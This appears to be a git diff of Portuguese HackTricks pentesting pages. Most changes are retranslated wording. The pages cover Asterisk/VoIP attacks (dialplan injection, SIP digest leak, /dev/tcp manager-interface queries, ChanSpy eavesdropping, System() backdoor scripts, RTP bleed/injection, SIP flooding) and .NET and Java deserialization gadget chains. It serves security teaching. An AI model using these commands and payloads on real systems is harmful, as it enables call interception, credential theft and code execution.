Onde **`${EXTEN}`** é a **extensão** que será chamada, quando a **ext 101 for introduzida** isso é o que aconteceria:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
|
@ -328,16 +326,16 @@ No entanto, se **`${EXTEN}`** permitir a introdução de **mais do que números*
|
|||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira que receber a chamada será estabelecida... mas se um atacante usar uma **extensão que ignore qualquer correspondência** que esteja sendo feita mas não exista, ele poderá **injetar uma chamada apenas para o número desejado**.
|
||||
Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira chamada recebida será estabelecida... mas se um atacante usar uma **extensão que contorne qualquer correspondência** que esteja sendo realizada mas não exista, ele poderia **injetar uma chamada apenas para o número desejado**.
|
||||
|
||||
## SIPDigestLeak
|
||||
|
||||
O SIP Digest Leak é uma vulnerabilidade que afeta um grande número de telefones SIP, incluindo telefones IP de hardware e software, bem como adaptadores telefônicos (VoIP para analógico). A vulnerabilidade permite o **vazamento da resposta de autenticação Digest**, que é calculada a partir da senha. Um **ataque de senha offline é então possível** e pode recuperar a maioria das senhas com base na resposta do desafio.
|
||||
O Vazamento de Digest SIP é uma vulnerabilidade que afeta um grande número de Telefones SIP, incluindo telefones IP de hardware e software, bem como adaptadores de telefone (VoIP para analógico). A vulnerabilidade permite **vazamento da resposta de autenticação Digest**, que é calculada a partir da senha. Um **ataque de senha offline é então possível** e pode recuperar a maioria das senhas com base na resposta do desafio.
|
||||
|
||||
Cenário de vulnerabilidade (para [**mais informações, consulte isso**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)):
|
||||
**[Cenário de vulnerabilidade a partir daqui**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. Um telefone IP (vítima) está ouvindo na porta 5060, aceitando chamadas telefônicas
|
||||
2. O atacante envia um INVITE para o telefone IP
|
||||
1. Um Telefone IP (vítima) está ouvindo na porta 5060, aceitando chamadas telefônicas
|
||||
2. O atacante envia um convite para o Telefone IP
|
||||
3. O telefone da vítima começa a tocar e alguém atende e desliga (porque ninguém atende o telefone do outro lado)
|
||||
4. Quando o telefone é desligado, o **telefone da vítima envia um BYE para o atacante**
|
||||
5. O **atacante emite uma resposta 407** que **solicita autenticação** e emite um desafio de autenticação
|
||||
|
@ -367,7 +365,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call permite que um **usuário da web** (que, por exemplo, pode estar interessado em um produto) **introduza** seu **número de telefone** para receber uma ligação. Em seguida, um comercial será chamado e, quando ele **atender o telefone**, o usuário será **chamado e conectado ao agente**.
|
||||
Click2Call permite a um **usuário da web** (que por exemplo pode estar interessado em um produto) **introduzir** seu **número de telefone** para ser chamado. Em seguida, uma chamada comercial será feita, e quando ele **atender o telefone**, o usuário será **chamado e conectado com o agente**.
|
||||
|
||||
Um perfil comum do Asterisk para isso é:
|
||||
```scss
|
||||
|
@ -379,12 +377,10 @@ displayconnects = yes
|
|||
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* O perfil anterior está permitindo **QUALQUER endereço IP se conectar** (se a senha for conhecida).
|
||||
* Para **organizar uma chamada**, como especificado anteriormente, **não é necessário ter permissões de leitura** e **apenas** a permissão de **origem** em **escrita** é necessária.
|
||||
* O perfil anterior está permitindo que **QUALQUER endereço IP se conecte** (se a senha for conhecida).
|
||||
* Para **iniciar uma chamada**, como especificado anteriormente, **não é necessária permissão de leitura** e somente **originate** em **write** é necessário.
|
||||
|
||||
Com essas permissões, qualquer IP que conheça a senha poderia se conectar e extrair muitas informações, como:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Com essas permissões, qualquer IP que conheça a senha poderia se conectar e extrair informações demais, como:
|
||||
```bash
|
||||
# Get all the peers
|
||||
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
||||
|
@ -393,11 +389,11 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
**Mais informações ou ações podem ser solicitadas.**
|
||||
|
||||
### **Interceptação**
|
||||
### **Grampear**
|
||||
|
||||
No Asterisk, é possível usar o comando **`ChanSpy`** indicando a(s) **extensão(ões) para monitorar** (ou todas elas) para ouvir as conversas que estão acontecendo. Este comando precisa ser atribuído a uma extensão.
|
||||
No Asterisk, é possível usar o comando **`ChanSpy`** indicando a **extensão(ões) para monitorar** (ou todas) para ouvir as conversas que estão acontecendo. Este comando precisa ser atribuído a uma extensão.
|
||||
|
||||
Por exemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que se você **ligar** para a **extensão 333**, ela irá **monitorar** **`todas`** as extensões, **começar a ouvir** sempre que uma nova conversa começar (**`b`**) em modo silencioso (**`q`**) pois não queremos interagir nela. Você pode ir de uma conversa para outra pressionando **`*`**, ou marcando o número da extensão.
|
||||
Por exemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que se você **ligar** para a **extensão 333**, ela irá **monitorar** **`todas`** as extensões, **começar a ouvir** sempre que uma nova conversa começar (**`b`**) em modo silencioso (**`q`**) pois não queremos interagir. Você pode ir de uma conversa para outra pressionando **`*`**, ou marcando o número da extensão.
|
||||
|
||||
Também é possível usar o **`ExtenSpy`** para monitorar apenas uma extensão.
|
||||
|
||||
|
@ -419,21 +415,21 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
```
|
||||
### RTCPBleed
|
||||
|
||||
**RTCPBleed** é um grande problema de segurança que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o tráfego **RTP (Real Time Protocol)**, que transporta conversas VoIP, seja **interceptado e redirecionado por qualquer pessoa na Internet**. Isso ocorre porque o tráfego RTP contorna a autenticação ao passar por firewalls NAT (Network Address Translation).
|
||||
**RTCPBleed** é um problema de segurança importante que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o tráfego **RTP (Real Time Protocol)**, que transporta conversas VoIP, seja **interceptado e redirecionado por qualquer pessoa na Internet**. Isso ocorre porque o tráfego RTP contorna a autenticação ao passar por firewalls NAT (Network Address Translation).
|
||||
|
||||
Os proxies RTP tentam resolver as **limitações do NAT** que afetam os sistemas RTC, fazendo a mediação dos fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software do proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP obtidas por meio de sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo em que esse **tuplet de IP e porta é aprendido automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não utiliza nenhum tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP intermediado destinado ao chamador ou receptor de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque ela permite que os atacantes recebam fluxos de mídia RTP destinados a usuários legítimos.
|
||||
Os proxies RTP tentam resolver as **limitações do NAT** que afetam os sistemas RTC ao fazer a intermediação de fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software de proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP obtidas por meio de sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo em que tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não utiliza nenhum tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP intermediado destinado ao chamador ou receptor de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que os atacantes recebam fluxos de mídia RTP destinados a usuários legítimos.
|
||||
|
||||
Outro comportamento interessante dos proxies RTP e das pilhas RTP é que, às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles irão **aceitar, encaminhar e/ou processar pacotes RTP de qualquer origem**. Portanto, os atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua própria mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque ele permite a injeção de pacotes RTP ilegítimos em fluxos RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em pontos de extremidade.
|
||||
Outro comportamento interessante de proxies RTP e pilhas RTP é que às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles irão **aceitar, encaminhar e/ou processar pacotes RTP de qualquer origem**. Portanto, os atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em fluxos RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em pontos finais.
|
||||
|
||||
O Asterisk e o FreePBX tradicionalmente usam a configuração **`NAT=yes`**, que permite que o tráfego RTP contorne a autenticação, o que pode resultar em áudio ausente ou unidirecional em chamadas.
|
||||
Asterisk e FreePBX tradicionalmente usaram a configuração **`NAT=yes`**, que permite que o tráfego RTP contorne a autenticação, potencialmente resultando em ausência de áudio ou áudio unidirecional em chamadas.
|
||||
|
||||
Para mais informações, acesse [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
|
||||
* **`rtpbleed.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Detecta a vulnerabilidade RTP Bleed enviando fluxos RTP.
|
||||
* **`rtpbleed.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Detecta a vulnerabilidade RTP Bleed enviando fluxos RTP
|
||||
```bash
|
||||
python3 rtpbleed.py -i 10.10.0.10
|
||||
```
|
||||
* **`rtcpbleed.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Ele detecta a vulnerabilidade de vazamento de RTP enviando fluxos de RTP.
|
||||
* **`rtcpbleed.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Detecta a vulnerabilidade de vazamento de RTP enviando fluxos de RTP
|
||||
```bash
|
||||
python3 rtcpbleed.py -i 10.10.0.10
|
||||
```
|
||||
|
@ -454,47 +450,47 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|||
Existe um comando chamado **`Shell`** que pode ser usado **em vez de `System`** para executar comandos do sistema, se necessário.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Se o servidor estiver **proibindo o uso de certos caracteres** no comando **`System`** (como no Elastix), verifique se o servidor da web permite **criar arquivos de alguma forma dentro do sistema** (como no Elastix ou trixbox) e use-o para **criar um script de backdoor** e, em seguida, use **`System`** para **executar** esse **script**.
|
||||
Se o servidor estiver **impedindo o uso de certos caracteres** no comando **`System`** (como no Elastix), verifique se o servidor web permite **criar arquivos de alguma forma dentro do sistema** (como no Elastix ou trixbox) e use isso para **criar um script de backdoor** e então use **`System`** para **executar** esse **script**.
|
||||
{% endhint %}
|
||||
|
||||
#### Arquivos locais interessantes e permissões
|
||||
|
||||
* **`sip.conf`** -> Contém a senha dos usuários SIP.
|
||||
* Se o servidor **Asterisk estiver sendo executado como root**, você pode comprometer o root.
|
||||
* O usuário root do **mysql** pode **não ter senha**.
|
||||
* Se o **servidor Asterisk estiver sendo executado como root**, você pode comprometer o root.
|
||||
* O **usuário root do mysql** pode **não ter senha**.
|
||||
* Isso pode ser usado para criar um novo usuário mysql como backdoor.
|
||||
* **`FreePBX`**
|
||||
* **`amportal.conf`** -> Contém a senha do administrador do painel da web (FreePBX).
|
||||
* **`amportal.conf`** -> Contém a senha do administrador do painel web (FreePBX).
|
||||
* **`FreePBX.conf`** -> Contém a senha do usuário FreePBXuser usado para acessar o banco de dados.
|
||||
* Isso pode ser usado para criar um novo usuário mysql como backdoor.
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> Contém várias senhas em texto claro, como a senha root do mysql, a senha IMAPd e a senha do administrador da web.
|
||||
* **Várias pastas** pertencerão ao usuário Asterisk comprometido (se não estiver sendo executado como root). Esse usuário pode ler os arquivos anteriores e também controla a configuração, portanto, ele pode fazer o Asterisk carregar outros binários com backdoor quando executado.
|
||||
* **`Elastix.conf`** -> Contém várias senhas em texto claro, como a senha root do mysql, senha IMAPd, senha do administrador web.
|
||||
* **Várias pastas** pertencerão ao usuário Asterisk comprometido (se não estiver sendo executado como root). Esse usuário pode ler os arquivos anteriores e também controla a configuração, então ele poderia fazer o Asterisk carregar outros binários com backdoor quando executados.
|
||||
|
||||
### Injeção de RTP
|
||||
|
||||
É possível inserir um arquivo **`.wav`** em conversas usando ferramentas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||
É possível inserir um **`.wav`** em conversas usando ferramentas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||
|
||||
Ou você pode usar os scripts de [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) para **escanear conversas** (**`rtpscan.pl`**), enviar um arquivo `.wav` para uma conversa (**`rtpsend.pl`**) e **inserir ruído** em uma conversa (**`rtpflood.pl`**).
|
||||
Ou você pode usar os scripts de [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) para **escanear conversas** (**`rtpscan.pl`**), enviar um `.wav` para uma conversa (**`rtpsend.pl`**) e **inserir ruído** em uma conversa (**`rtpflood.pl`**).
|
||||
|
||||
### DoS
|
||||
|
||||
Existem várias maneiras de tentar realizar um ataque de negação de serviço (DoS) em servidores VoIP.
|
||||
Existem várias maneiras de tentar realizar DoS em servidores VoIP.
|
||||
|
||||
* **`sipflood.py`** do [**sippts**](https://github.com/Pepelux/sippts)**: **_**SipFlood**_ envia mensagens ilimitadas para o alvo.
|
||||
* **`sipflood.py`** de [**sippts**](https://github.com/Pepelux/sippts)**: **_**SipFlood**_ envia mensagens ilimitadas para o alvo.
|
||||
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS no protocolo IAX usado pelo Asterisk.
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uma ferramenta para realizar ataques de inundação de mensagens SIP/SDP INVITE por UDP/IP.
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uma ferramenta para realizar inundação de mensagens SIP/SDP INVITE sobre UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário saber as portas RTP que estão sendo usadas (fareje primeiro).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP, portanto, também pode ser usado para DoS.
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP, então pode ser usado para DoS também.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Canivete suíço SIP. Também pode ser usado para realizar ataques SIP.
|
||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
* **`sipsend.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPSend nos permite enviar uma mensagem SIP personalizada e analisar a resposta.
|
||||
* **`wssend.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** WsSend nos permite enviar uma mensagem SIP personalizada por meio do WebSocket e analisar a resposta.
|
||||
* **`sipsend.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPSend nos permite enviar uma **mensagem SIP personalizada** e analisar a resposta.
|
||||
* **`wssend.py`** de [**sippts**](https://github.com/Pepelux/sippts)**:** WsSend nos permite enviar uma mensagem SIP personalizada sobre WebSockets e analisar a resposta.
|
||||
|
||||
### Vulnerabilidades do sistema operacional
|
||||
### Vulnerabilidades do SO
|
||||
|
||||
A maneira mais fácil de instalar um software como o Asterisk é baixar uma **distribuição do sistema operacional** que já o tenha instalado, como: **FreePBX, Elastix, Trixbox**... O problema é que, uma vez em funcionamento, os administradores de sistema podem **não atualizá-los novamente** e vulnerabilidades serão descobertas com o tempo.
|
||||
A maneira mais fácil de instalar um software como o Asterisk é baixar uma **distribuição do SO** que já o tenha instalado, como: **FreePBX, Elastix, Trixbox**... O problema com esses é que uma vez que esteja funcionando, os sysadmins podem **não atualizá-los novamente** e **vulnerabilidades** serão descobertas com o tempo.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -502,15 +498,4 @@ A maneira mais fácil de instalar um software como o Asterisk é baixar uma **di
|
|||
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
|
||||
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo Discord** ou ao **grupo telegram** ou **siga-me no Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -24,7 +24,7 @@ Portanto, o **objeto** arbitrário **executará** uma **função** com **parâme
|
|||
|
||||
O namespace **System.Windows.Data**, encontrado dentro do **PresentationFramework.dll** em `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, é onde o ObjectDataProvider é definido e implementado.
|
||||
|
||||
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que estamos interessados. Na imagem abaixo estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do Método**
|
||||
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que estamos interessados. Na imagem abaixo estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do método**
|
||||
|
||||
![](<../../.gitbook/assets/image (299).png>)
|
||||
|
||||
|
@ -32,7 +32,7 @@ Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é c
|
|||
|
||||
![](<../../.gitbook/assets/image (300).png>)
|
||||
|
||||
Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é substituído por `ObjectDataProvider` e é isso que ele faz:
|
||||
Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é substituído por `ObjectDataProvider` e isso é o que ele faz:
|
||||
|
||||
![](<../../.gitbook/assets/image (301).png>)
|
||||
|
||||
|
@ -69,7 +69,7 @@ Note que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Fram
|
|||
Usando o exploit anterior, haverá casos em que o **objeto** será **desserializado como** uma instância _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não teremos **conhecimento do tipo de objeto que está encapsulado** na instância _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
|
||||
Esta classe permite **especificar os tipos de objetos que estão encapsulados** em uma determinada instância. Portanto, esta classe pode ser usada para encapsular um objeto de origem (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades de que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
|
||||
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **envolver \_ObjectDataProvider**_\*\* dentro de uma instância de \*\*_**ExpandedWrapper** e **ao desserializar** esta classe irá **criar** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
|
||||
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **envolver \_ObjectDataProvider**_\*\* dentro de uma instância \*\*_**ExpandedWrapper** e **quando desserializado** esta classe irá **criar** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
|
||||
|
||||
Você pode verificar este wrapper com o seguinte código:
|
||||
```java
|
||||
|
@ -198,10 +198,10 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -54,7 +54,7 @@ lazyMap.get("anything");
|
|||
```
|
||||
Se você não sabe nada sobre payloads de desserialização em Java, pode ser difícil entender por que esse código executará uma calculadora.
|
||||
|
||||
Primeiramente, você precisa saber que um **Transformer em Java** é algo que **recebe uma classe** e a **transforma em outra**.\
|
||||
Primeiro, você precisa saber que um **Transformer em Java** é algo que **recebe uma classe** e a **transforma em outra**.\
|
||||
Também é interessante saber que o **payload** sendo **executado** aqui é **equivalente** a:
|
||||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
|
@ -163,7 +163,7 @@ _Observe como `value` é a entrada de cada transformação e a saída da transfo
|
|||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
Note que aqui foi explicado os gadgets usados para o payload ComonsCollections1. Mas ficou em aberto como tudo isso começa a ser executado. Você pode ver [aqui que o ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para executar esse payload, usa um objeto `AnnotationInvocationHandler` porque quando esse objeto é desserializado, ele invocará a função `payload.get()` que executará todo o payload.
|
||||
Note que aqui foi explicado os gadgets usados para o payload ComonsCollections1. Mas não foi explicado como tudo isso começa a ser executado. Você pode ver [aqui que o ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), para executar esse payload, usa um objeto `AnnotationInvocationHandler` porque quando esse objeto é desserializado, ele invocará a função `payload.get()` que executará todo o payload.
|
||||
|
||||
## Java Thread Sleep
|
||||
|
||||
|
